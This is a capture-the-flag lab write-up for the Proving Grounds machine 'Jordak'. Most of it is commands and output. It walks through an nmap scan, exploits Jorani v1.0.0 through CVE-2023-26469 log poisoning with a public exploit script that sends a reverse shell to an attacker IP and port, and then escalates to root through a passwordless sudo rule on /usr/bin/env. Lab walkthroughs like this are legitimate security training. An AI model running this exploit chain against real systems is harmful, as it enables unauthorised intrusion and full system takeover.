Skip to content
HackIndex.io

Jordak Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Jordak runs Jorani v1.0.0, a leave-management application vulnerable to CVE-2023-26469, an unauthenticated log-poisoning chain that leads to remote code execution. A public exploit script gives a shell as jordak, and a passwordless sudo rule for /usr/bin/env is a one-line root escape.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Only SSH and HTTP. Enumerating the web root turns up a Jorani v1.0.0 installation at /jorani, confirmed by the application footer. Jorani <=1.0.0 is affected by CVE-2023-26469, a log-poisoning to LFI-to-RCE chain: application logs are poisoned with PHP code, then the app is triggered to include the poisoned log file.

Exploitation

Jorani log poisoning RCE (CVE-2023-26469)

Use the public exploit, which automates poisoning the log and triggering the include.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/samipmainali/Jorani-Reverse-Shell-v1.0.0.git
┌──(kali㉿kali)-[~]
└─$ python3 Jorani_V1.0.0_exploit.py -u http://$TARGET_IP/jorani -i $ATTACKER_IP -p $ATTACKER_PORT 
[+] Poisoning application log
[+] Triggering log inclusion
[+] Shell sent to listener

With a listener running, the exploit poisons the logs, triggers the include and a reverse shell connects back as jordak. Stabilize it.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")' 
jordak@jordak:~$

Privilege Escalation

sudo env (GTFOBins)

Check sudo privileges.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User jordak may run the following commands on jordak:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/env

A passwordless rule for /usr/bin/env is a well-known GTFOBins escape: env can execute an arbitrary command, so running it via sudo hands over a root shell immediately.

┌──(kali㉿kali)-[~]
└─$ sudo env /bin/sh 
# id
uid=0(root) gid=0(root) groups=0(root)

Related

LFI to Remote Code Execution
Blog

LFI to Remote Code Execution

Exploit Local File Inclusion vulnerabilities to achieve RCE via log poisoning, PHP wrappers, /proc/s...
Local File Inclusion Exploitation
Blog

Local File Inclusion Exploitation

Exploit LFI vulnerabilities to read sensitive files, achieve log poisoning, and escalate to RCE via...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...

References